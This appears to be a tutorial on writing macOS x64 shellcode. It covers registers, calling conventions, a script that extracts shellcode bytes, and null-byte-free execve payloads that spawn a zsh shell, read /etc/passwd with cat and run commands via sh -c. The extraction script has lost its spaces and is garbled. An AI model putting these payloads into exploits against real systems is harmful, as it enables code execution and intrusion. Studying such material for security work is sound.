x64, also known as x86-64, is a 64-bit processor architecture predominantly used in desktop and server computing. Originating from the x86 architecture produced by Intel and later adopted by AMD with the name AMD64, it's the prevalent architecture in personal computers and servers today.
Registers
x64 expands upon the x86 architecture, featuring 16 general-purpose registers labeled rax, rbx, rcx, rdx, rbp, rsp, rsi, rdi, and r8 through r15. Each of these can store a 64-bit (8-byte) value. These registers also have 32-bit, 16-bit, and 8-bit sub-registers for compatibility and specific tasks.
rax - Traditionally used for return values from functions.
rbx - Often used as a base register for memory operations.
rcx - Commonly used for loop counters.
rdx - Used in various roles including extended arithmetic operations.
rbp - Base pointer for the stack frame.
rsp - Stack pointer, keeping track of the top of the stack.
rsi and rdi - Used for source and destination indexes in string/memory operations.
r8 to r15 - Additional general-purpose registers introduced in x64.
Calling Convention
The x64 calling convention varies between operating systems. For instance:
Windows: The first four parameters are passed in the registers rcx, rdx, r8, and r9. Further parameters are pushed onto the stack. The return value is in rax.
System V (commonly used in UNIX-like systems): The first six integer or pointer parameters are passed in registers rdi, rsi, rdx, rcx, r8, and r9. The return value is also in rax.
If the function has more than six inputs, the rest will be passed on the stack. RSP, the stack pointer, has to be 16 bytes aligned, which means that the address it points to must be divisible by 16 before any call happens. This means that normally we would need to ensure that RSP is properly aligned in our shellcode before we make a function call. However, in practice, system calls work many times even if this requirement is not met.
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump-d"shell.o"|grep-E'[0-9a-f]+:'|cut-f1|cut-d:-f2) ; doecho-n'\\x'$cdone# Another optionotool-tshell.o|grep00|cut-f2-d$'\t'|sed's/ /\\x/g'|sed's/^/\\x/g'|sed's/\\x$//g'
bits 64
global _main
_main:
call r_cmd64
db '/bin/zsh', 0
r_cmd64: ; the call placed a pointer to db (argv[2])
pop rdi ; arg1 from the stack placed by the call to l_cmd64
xor rdx, rdx ; store null arg3
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
bits 64
global _main
_main:
xor rdx, rdx ; zero our RDX
push rdx ; push NULL string terminator
mov rbx, '/bin/zsh' ; move the path into RBX
push rbx ; push the path, to the stack
mov rdi, rsp ; store the stack pointer in RDI (arg1)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
Read with cat
The goal is to execute execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), so the second argument (x1) is an array of params (which in memory these means a stack of the addresses).
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 40 ; Allocate space on the stack similar to `sub sp, sp, #48`
lea rdi, [rel cat_path] ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"
; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi ; Add "/etc/passwd" to the stack (arg0)
push rdi ; Add "/bin/cat" to the stack (arg1)
; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp ; argv=rsp - store RSP's value in RSI
xor rdx, rdx ; Clear rdx to hold NULL (no environment variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall ; Make the syscall
section .data
cat_path: db "/bin/cat", 0
passwd_path: db "/etc/passwd", 0
Invoke command with sh
bits 64
section .text
global _main
_main:
; Prepare the arguments for the execve syscall
sub rsp, 32 ; Create space on the stack
; Argument array
lea rdi, [rel touch_command]
push rdi ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi ; push &"-c"
lea rdi, [rel sh_path]
push rdi ; push &"/bin/sh"
; execve syscall
mov rsi, rsp ; rsi = pointer to argument array
xor rdx, rdx ; rdx = NULL (no env variables)
push 59 ; put 59 on the stack (execve syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
_exit:
xor rdi, rdi ; Exit status code 0
push 1 ; put 1 on the stack (exit syscall)
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall
section .data
sh_path: db "/bin/sh", 0
sh_c_option: db "-c", 0
touch_command: db "touch /tmp/lalala", 0